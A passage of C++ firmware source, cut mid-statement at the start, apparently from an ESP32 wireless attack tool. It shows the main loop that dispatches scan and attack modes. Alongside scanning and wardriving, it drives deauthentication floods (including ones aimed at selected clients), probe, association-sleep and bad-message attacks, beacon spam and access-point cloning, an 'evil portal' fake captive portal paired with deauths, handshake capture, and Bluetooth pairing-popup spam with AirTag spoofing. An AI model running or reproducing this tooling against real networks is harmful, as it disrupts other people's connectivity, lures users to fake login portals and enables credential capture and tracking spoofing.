= millis(); channelHop(); } } else if (currentScanMode == WIFI_PING_SCAN) { this->pingScan(); } else if (currentScanMode == WIFI_ARP_SCAN) { this->fullARP(); } else if (currentScanMode == WIFI_PORT_SCAN_ALL) { this->portScan(WIFI_PORT_SCAN_ALL); } else if (currentScanMode == WIFI_SCAN_SSH) { this->pingScan(WIFI_SCAN_SSH); } else if (currentScanMode == WIFI_SCAN_TELNET) { this->pingScan(WIFI_SCAN_TELNET); } else if (currentScanMode == WIFI_SCAN_SMTP) { this->pingScan(WIFI_SCAN_SMTP); } else if (currentScanMode == WIFI_SCAN_DNS) { this->pingScan(WIFI_SCAN_DNS); } else if (currentScanMode == WIFI_SCAN_HTTP) { this->pingScan(WIFI_SCAN_HTTP); } else if (currentScanMode == WIFI_SCAN_HTTPS) { this->pingScan(WIFI_SCAN_HTTPS); } else if (currentScanMode == WIFI_SCAN_RDP) { this->pingScan(WIFI_SCAN_RDP); } else if (currentScanMode == WIFI_SCAN_SIG_STREN) { #ifdef HAS_ILI9341 this->signalAnalyzerLoop(currentTime); #endif if (currentTime - initTime >= this->channel_hop_delay * 500) { initTime = millis(); #ifdef HAS_SCREEN display_obj.tft.fillRect(0, (STATUS_BAR_WIDTH * 2) + 1 + EXT_BUTTON_WIDTH, TFT_WIDTH, TFT_HEIGHT - STATUS_BAR_WIDTH + 1, TFT_BLACK); display_obj.tft.setCursor(0, (STATUS_BAR_WIDTH * 2) + CHAR_WIDTH + EXT_BUTTON_WIDTH); display_obj.tft.setTextSize(1); display_obj.tft.setTextColor(TFT_WHITE, TFT_BLACK); for (int y = 0; y < access_points->size(); y++) { if (access_points->get(y).selected) { display_obj.tft.println(access_points->get(y).essid + ": " + (String)access_points->get(y).rssi); } } #endif } } else if ((currentScanMode == WIFI_SCAN_CHAN_ANALYZER) || (currentScanMode == BT_SCAN_ANALYZER)) { this->channelAnalyzerLoop(currentTime); } else if ((currentScanMode == WIFI_SCAN_PACKET_RATE) || (currentScanMode == WIFI_SCAN_RAW_CAPTURE)) { this->packetRateLoop(currentTime); } else if ((currentScanMode == BT_ATTACK_SWIFTPAIR_SPAM) || (currentScanMode == BT_ATTACK_SOUR_APPLE) || (currentScanMode == BT_ATTACK_SPAM_ALL) || (currentScanMode == BT_ATTACK_SAMSUNG_SPAM) || (currentScanMode == BT_ATTACK_GOOGLE_SPAM) || (currentScanMode == BT_ATTACK_FLIPPER_SPAM) || (currentScanMode == BT_SPOOF_AIRTAG)) { #ifdef HAS_BT if (currentTime - initTime >= 1000) { initTime = millis(); String displayString = ""; String displayString2 = ""; displayString.concat("Advertising Data..."); for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++) displayString2.concat(" "); #ifdef HAS_SCREEN display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK); display_obj.showCenterText(displayString2, TFT_HEIGHT / 2); display_obj.showCenterText(displayString, TFT_HEIGHT / 2); #endif } if ((currentScanMode == BT_ATTACK_GOOGLE_SPAM) || (currentScanMode == BT_ATTACK_SPAM_ALL)) this->executeSwiftpairSpam(Google); if ((currentScanMode == BT_ATTACK_SAMSUNG_SPAM) || (currentScanMode == BT_ATTACK_SPAM_ALL)) this->executeSwiftpairSpam(Samsung); if ((currentScanMode == BT_ATTACK_SWIFTPAIR_SPAM) || (currentScanMode == BT_ATTACK_SPAM_ALL)) this->executeSwiftpairSpam(Microsoft); //this->executeSwiftpairSpam(FlipperZero); if ((currentScanMode == BT_ATTACK_SOUR_APPLE) || (currentScanMode == BT_ATTACK_SPAM_ALL)) this->executeSourApple(); if ((currentScanMode == BT_ATTACK_FLIPPER_SPAM) || (currentScanMode == BT_ATTACK_SPAM_ALL)) this->executeSwiftpairSpam(FlipperZero); if (currentScanMode == BT_SPOOF_AIRTAG) this->executeSpoofAirtag(); #endif } else if (currentScanMode == WIFI_SCAN_WAR_DRIVE) { if (currentTime - initTime >= this->channel_hop_delay * HOP_DELAY) { initTime = millis(); #ifdef HAS_GPS if (gps_obj.getGpsModuleStatus()) this->executeWarDrive(); #endif } } else if (currentScanMode == WIFI_SCAN_GPS_DATA) { if (currentTime - initTime >= 5000) { this->initTime = millis(); this->RunGPSInfo(); } } else if (currentScanMode == GPS_TRACKER) { if (currentTime - initTime >= 1000) { this->initTime = millis(); this->RunGPSInfo(true); } } else if (currentScanMode == WIFI_SCAN_GPS_NMEA) { if (currentTime - initTime >= 1000) { this->initTime = millis(); this->RunGPSNmea(); } } else if (currentScanMode == WIFI_SCAN_EVIL_PORTAL) { if (currentTime - initTime >= (this->channel_hop_delay * HOP_DELAY) / 4) { initTime = millis(); if (this->ep_deauth) { for (int i = 0; i < access_points->size(); i++) { if (access_points->get(i).selected) { this->sendDeauthFrame(access_points->get(i).bssid, access_points->get(i).channel); } } } } if (evil_portal_obj.ap_index > -1) this->changeChannel(access_points->get(evil_portal_obj.ap_index).channel); evil_portal_obj.main(currentScanMode); } else if (currentScanMode == WIFI_PACKET_MONITOR) { #ifdef HAS_SCREEN #ifdef HAS_ILI9341 packetMonitorMain(currentTime); #endif #endif } else if (currentScanMode == WIFI_SCAN_EAPOL) { #ifdef HAS_SCREEN #ifdef HAS_ILI9341 eapolMonitorMain(currentTime); #endif #endif } else if (currentScanMode == WIFI_SCAN_ACTIVE_EAPOL) { #ifdef HAS_SCREEN eapolMonitorMain(currentTime); #endif } else if (currentScanMode == WIFI_SCAN_ACTIVE_LIST_EAPOL) { if (currentTime - initTime >= 1000) { initTime = millis(); this->channelHop(true); } #ifdef HAS_SCREEN eapolMonitorMain(currentTime); #endif } else if (currentScanMode == WIFI_ATTACK_AUTH) { for (int i = 0; i < 55; i++) this->sendProbeAttack(currentTime); if (currentTime - initTime >= 1000) { initTime = millis(); String displayString = ""; String displayString2 = ""; displayString.concat(text18); displayString.concat(packets_sent); for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++) displayString2.concat(" "); #ifdef HAS_SCREEN display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK); display_obj.showCenterText(displayString2, TFT_HEIGHT / 2); display_obj.showCenterText(displayString, TFT_HEIGHT / 2); #endif packets_sent = 0; } } else if ((currentScanMode == WIFI_ATTACK_BAD_MSG) || (currentScanMode == WIFI_ATTACK_BAD_MSG_TARGETED)) { //for (int i = 0; i < 5; i++) if (currentTime - initTime >= 200) { this->sendBadMsgAttack(currentTime, currentScanMode == WIFI_ATTACK_BAD_MSG); initTime = millis(); String displayString = ""; String displayString2 = ""; //displayString.concat(text18); displayString.concat(packets_sent); for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++) displayString2.concat(" "); #ifdef HAS_SCREEN display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK); display_obj.showCenterText(displayString2, TFT_HEIGHT / 2); display_obj.showCenterText(displayString, TFT_HEIGHT / 2); #endif //packets_sent = 0; } } else if ((currentScanMode == WIFI_ATTACK_SLEEP) || (currentScanMode == WIFI_ATTACK_SLEEP_TARGETED)) { if (currentTime - initTime >= 200) { this->sendAssocSleepAttack(currentTime, currentScanMode == WIFI_ATTACK_SLEEP); initTime = millis(); String displayString = ""; String displayString2 = ""; displayString.concat(packets_sent); for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++) displayString2.concat(" "); #ifdef HAS_SCREEN display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK); display_obj.showCenterText(displayString2, TFT_HEIGHT / 2); display_obj.showCenterText(displayString, TFT_HEIGHT / 2); #endif } } else if (currentScanMode == WIFI_ATTACK_DEAUTH) { for (int i = 0; i < 55; i++) this->sendDeauthAttack(currentTime, this->dst_mac); if (currentTime - initTime >= 1000) { initTime = millis(); String displayString = ""; String displayString2 = ""; displayString.concat(text18); displayString.concat(packets_sent); for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++) displayString2.concat(" "); #ifdef HAS_SCREEN display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK); display_obj.showCenterText(displayString2, TFT_HEIGHT / 2); display_obj.showCenterText(displayString, TFT_HEIGHT / 2); #endif packets_sent = 0; } } else if (currentScanMode == WIFI_ATTACK_DEAUTH_MANUAL) { for (int i = 0; i < 55; i++) this->sendDeauthFrame(this->src_mac, this->set_channel, this->dst_mac); if (currentTime - initTime >= 1000) { initTime = millis(); String displayString = ""; String displayString2 = ""; displayString.concat(text18); displayString.concat(packets_sent); for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++) displayString2.concat(" "); #ifdef HAS_SCREEN display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK); display_obj.showCenterText(displayString2, TFT_HEIGHT / 2); display_obj.showCenterText(displayString, TFT_HEIGHT / 2); #endif packets_sent = 0; } } else if (currentScanMode == WIFI_ATTACK_DEAUTH_TARGETED) { // Loop through each AP for (int x = 0; x < access_points->size(); x++) { // Only get selected APs if (access_points->get(x).selected) { AccessPoint cur_ap = access_points->get(x); // Loop through each AP's Station for (int i = 0; i < cur_ap.stations->size(); i++) { // Only get selected Stations if (stations->get(cur_ap.stations->get(i)).selected) { Station cur_sta = stations->get(cur_ap.stations->get(i)); // Send deauths for each selected AP's selected Station for (int y = 0; y < 25; y++) this->sendDeauthFrame(cur_ap.bssid, cur_ap.channel, cur_sta.mac); // Display packets sent on screen if (currentTime - initTime >= 1000) { initTime = millis(); String displayString = ""; String displayString2 = ""; displayString.concat(text18); displayString.concat(packets_sent); for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++) displayString2.concat(" "); #ifdef HAS_SCREEN display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK); display_obj.showCenterText(displayString2, TFT_HEIGHT / 2); display_obj.showCenterText(displayString, TFT_HEIGHT / 2); #endif packets_sent = 0; } } } } } } else if ((currentScanMode == WIFI_ATTACK_MIMIC)) { // Need this for loop because getTouch causes ~10ms delay // which makes beacon spam less effective for (int i = 0; i < access_points->size(); i++) { if (access_points->get(i).selected) this->broadcastCustomBeacon(currentTime, ssid{access_points->get(i).essid, random(1, 12), {random(256), random(256), random(256), random(256), random(256), random(256)}}); } if (currentTime - initTime >= 1000) { initTime = millis(); //Serial.print("packets/sec: "); //Serial.println(packets_sent); String displayString = ""; String displayString2 = ""; displayString.concat(text18); displayString.concat(packets_sent); for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++) displayString2.concat(" "); #ifdef HAS_SCREEN display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK); display_obj.showCenterText(displayString2, TFT_HEIGHT / 2); display_obj.showCenterText(displayString, TFT_HEIGHT / 2); #endif packets_sent = 0; } } else if ((currentScanMode == WIFI_ATTACK_BEACON_SPAM)) { // Need this for loop because getTouch causes ~10ms delay // which makes beacon spam less effective for (int i = 0; i < 55; i++) broadcastRandomSSID(currentTime); if (currentTime - initTime >= 1000) { initTime = millis(); //Serial.print("packets/sec: "); //Serial.println(packets_sent); String displayString = ""; String displayString2 = ""; displayString.concat(text18); displayString.concat(packets_sent); for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++) displayString2.concat(" "); #ifdef HAS_SCREEN display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK); display_obj.showCenterText(displayString2, TFT_HEIGHT / 2); display_obj.showCenterText(displayString, TFT_HEIGHT / 2); #endif packets_sent = 0; } } else if ((currentScanMode == WIFI_ATTACK_BEACON_LIST)) { for (int i = 0; i < ssids->size(); i++) this->broadcastCustomBeacon(currentTime, ssids->get(i)); if (currentTime - initTime >= 1000) { initTime = millis(); String displayString = ""; String displayString2 = ""; displayString.concat(text18); displayString.concat(packets_sent); for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++) displayString2.concat(" "); #ifdef HAS_SCREEN display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK); display_obj.showCenterText(displayString2, TFT_HEIGHT / 2); display_obj.showCenterText(displayString, TFT_HEIGHT / 2); #endif packets_sent = 0; } } else if ((currentScanMode == WIFI_ATTACK_AP_SPAM)) { for (int i = 0; i < access_points->size(); i++) { if (access_points->get(i).selected) this->broadcastCustomBeacon(currentTime, access_points->get(i)); } if (currentTime - initTime >= 1000) { initTime = millis(); packets_sent = 0; } } else if ((currentScanMode == WIFI_ATTACK_RICK_ROLL)) { // Need this for loop because getTouch causes ~10ms delay // which makes beacon spam less effective for (int i = 0; i < 7; i++) { for (int x = 0; x < (sizeof(rick_roll)/sizeof(char *)); x++) { broadcastSetSSID(currentTime, rick_roll[x]); } } if (currentTime - initTime >= 1000) { initTime = millis(); //Serial.print("packets/sec: "); //Serial.println(packets_sent); String displayString = ""; String displayString2 = ""; displayString.concat(text18); displayString.concat(packets_sent); for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++) displayString2.concat(" "); #ifdef HAS_SCREEN display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK); display_obj.showCenterText(displayString2, TFT_HEIGHT / 2); display_obj.showCenterText(displayString, TFT_HEIGHT / 2); #endif packets_sent = 0; } } else if ((currentScanMode == WIFI_ATTACK_FUNNY_BEACON)) { // Need this for loop because getTouch causes ~10ms delay // which makes beacon spam less effective for (int i = 0; i < 7; i++) { for (int x = 0; x < (sizeof(funny_beacon)/sizeof(char *)); x++) { broadcastSetSSID(currentTime, funny_beacon[x]); } } if (currentTime - initTime >= 1000) { initTime = millis(); //Serial.print("packets/sec: "); //Serial.println(packets_sent); String displayString = ""; String displayString2 = ""; displayString.concat(text18); displayString.concat(packets_sent); for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++) displayString2.concat(" "); #ifdef HAS_SCREEN display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK); display_obj.showCenterText(displayString2, TFT_HEIGHT / 2); display_obj.showCenterText(displayString, TFT_HEIGHT / 2); #endif packets_sent = 0; } } #ifdef HAS_GPS else if ((currentScanMode == WIFI_SCAN_OFF)) if(gps_obj.queue_enabled()) gps_obj.disable_queue(); #endif if ((WiFi.status() == WL_CONNECTED) || (WiFi.softAPIP() != IPAddress(0,0,0,0))) { this->wifi_connected = true; this->wifi_initialized = true; } else { this->wifi_connected = false; } }